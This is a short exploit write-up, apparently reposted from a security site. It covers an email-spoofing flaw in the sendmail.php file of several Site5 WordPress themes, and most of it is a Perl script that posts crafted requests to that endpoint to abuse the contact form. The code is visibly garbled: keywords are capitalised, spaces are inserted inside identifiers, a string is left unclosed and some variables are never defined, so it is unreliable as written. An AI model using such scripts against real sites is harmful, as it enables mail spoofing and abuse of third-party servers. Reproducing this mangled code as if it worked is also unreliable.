Site5 WordPress email Spoofing Vulnerability

The following is a locally built site5 wordpress:
 
Vulnerability files:
Diary, simploblack, simplo, journalcrunch, boldy, webfolio
My $ theme = 'diary ';
My $ url = $ wordpress. 'wp-content/themes/'. $ theme.'/sendmail. php ';
My email = "test.five@yahoo.cn;
# Receiver email address www.2cto.com
My $ Cycler = 'test. five@yahoo.cn ';
$ Cycler = ~ S/(.)/sprintf ("% x", ord ($1)/eg;
My $ ua = LWP: UserAgent-> new ();
My $ request = POST ($ url, [name => $ name, email => $ email, comment => $ comment, Referer => $ Referer, submit => 'submit ',]);
Print "Sending request to $ url \ n ";
My $ content = $ ua-> request ($ request)-> as_string ();
Print $ content;
Print "\ nDone \ nFollow \ @ BallastSec on Twitter \ n ";